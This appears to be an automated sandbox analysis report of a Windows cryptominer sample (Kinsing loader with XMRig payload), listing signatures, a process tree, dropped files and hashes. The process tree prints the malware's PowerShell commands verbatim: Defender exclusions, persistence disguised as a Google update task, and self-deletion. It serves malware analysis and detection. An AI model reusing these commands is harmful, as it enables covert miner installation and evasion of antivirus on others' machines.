Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1798s
  • max time network
    1789s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Kinsing

    Kinsing is a loader written in Golang.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe
    "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    PID:4840
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3412
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:864
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2096
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2716
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2632
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4208
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:3540
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:4744
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3204
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:3616
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4616
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:2868
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:1060

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 345KB
                • SHA256 977c93a332cea0076592deec328608b2003bfc4ade6c066b4d18a0f164dd265b
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 715KB
                • SHA256 873b27976e7ce094f45160d0e1bbf0bad40807e6b073f048391043a7322eb49b
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 45af4e639b95cc4c290129f49fc14ae02507a6976c33125f4e9a851d0240b1de
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_jbtdrowa.zij.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jbtdrowa.zij.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/864-28-0x00007FFEBCAE0000-0x00007FFEBD5A1000-memory.dmp

                memory/864-30-0x0000025BF3B10000-0x0000025BF3B20000-memory.dmp

                memory/864-29-0x0000025BF3B10000-0x0000025BF3B20000-memory.dmp

                memory/864-31-0x0000025BF3B10000-0x0000025BF3B20000-memory.dmp

                memory/864-33-0x00007FFEBCAE0000-0x00007FFEBD5A1000-memory.dmp

                memory/2716-50-0x00007FFEBCAE0000-0x00007FFEBD5A1000-memory.dmp

                memory/2716-46-0x00007FFEBCAE0000-0x00007FFEBD5A1000-memory.dmp

                memory/2716-47-0x0000019238080000-0x0000019238090000-memory.dmp

                memory/3204-132-0x00007FF6622A0000-0x00007FF6622B6000-memory.dmp

                memory/3204-125-0x00007FF6622A0000-0x00007FF6622B6000-memory.dmp

                memory/3540-159-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-141-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-173-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-171-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-169-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-167-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-165-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-163-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-161-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-131-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-157-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-155-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-153-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-151-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-149-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-147-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-177-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-145-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-143-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-175-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-179-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-139-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-137-0x0000029864530000-0x0000029864550000-memory.dmp

                memory/3540-136-0x0000029864510000-0x0000029864530000-memory.dmp

                memory/3540-135-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-133-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-181-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-183-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-119-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-118-0x0000029863F10000-0x0000029863F30000-memory.dmp

                memory/3540-185-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-124-0x00000298644F0000-0x0000029864510000-memory.dmp

                memory/3540-187-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-126-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3540-128-0x0000029864530000-0x0000029864550000-memory.dmp

                memory/3540-127-0x0000029864510000-0x0000029864530000-memory.dmp

                memory/3540-130-0x00007FF6FCEA0000-0x00007FF6FD694000-memory.dmp

                memory/3568-61-0x00007FFEBCAE0000-0x00007FFEBD5A1000-memory.dmp

                memory/3568-78-0x0000017326CB0000-0x0000017326CBA000-memory.dmp

                memory/3568-62-0x0000017325D40000-0x0000017325D50000-memory.dmp

                memory/3568-72-0x0000017326A80000-0x0000017326A9C000-memory.dmp

                memory/3568-75-0x0000017326AA0000-0x0000017326B55000-memory.dmp

                memory/3568-74-0x0000017325D40000-0x0000017325D50000-memory.dmp

                memory/3568-76-0x0000017326B60000-0x0000017326B6A000-memory.dmp

                memory/3568-73-0x00007FF47C480000-0x00007FF47C490000-memory.dmp

                memory/3568-77-0x0000017326CD0000-0x0000017326CEC000-memory.dmp

                memory/3568-86-0x00007FFEBCAE0000-0x00007FFEBD5A1000-memory.dmp

                memory/3568-83-0x0000017325D40000-0x0000017325D50000-memory.dmp

                memory/3568-81-0x0000017326CF0000-0x0000017326CF6000-memory.dmp

                memory/3568-82-0x0000017326D00000-0x0000017326D0A000-memory.dmp

                memory/3568-80-0x0000017326CC0000-0x0000017326CC8000-memory.dmp

                memory/3568-79-0x0000017326D10000-0x0000017326D2A000-memory.dmp

                memory/4208-99-0x00000174196E0000-0x00000174196F0000-memory.dmp

                memory/4208-112-0x00000174196E0000-0x00000174196F0000-memory.dmp

                memory/4208-98-0x00007FFEBCAE0000-0x00007FFEBD5A1000-memory.dmp

                memory/4208-100-0x00007FF4EE820000-0x00007FF4EE830000-memory.dmp

                memory/4208-111-0x00000174196E0000-0x00000174196F0000-memory.dmp

                memory/4208-110-0x000001741A360000-0x000001741A415000-memory.dmp

                memory/4208-114-0x00007FFEBCAE0000-0x00007FFEBD5A1000-memory.dmp

                memory/4616-123-0x00007FF6EC3F0000-0x00007FF6EC601000-memory.dmp

                memory/4616-51-0x00007FF6EC3F0000-0x00007FF6EC601000-memory.dmp

                memory/4628-11-0x00007FFEBCAE0000-0x00007FFEBD5A1000-memory.dmp

                memory/4628-6-0x00000225DEB20000-0x00000225DEB42000-memory.dmp

                memory/4628-16-0x00007FFEBCAE0000-0x00007FFEBD5A1000-memory.dmp

                memory/4628-13-0x00000225DEA60000-0x00000225DEA70000-memory.dmp

                memory/4628-12-0x00000225DEA60000-0x00000225DEA70000-memory.dmp

                memory/4840-0-0x00007FF64E580000-0x00007FF64E791000-memory.dmp

                memory/4840-35-0x00007FF64E580000-0x00007FF64E791000-memory.dmp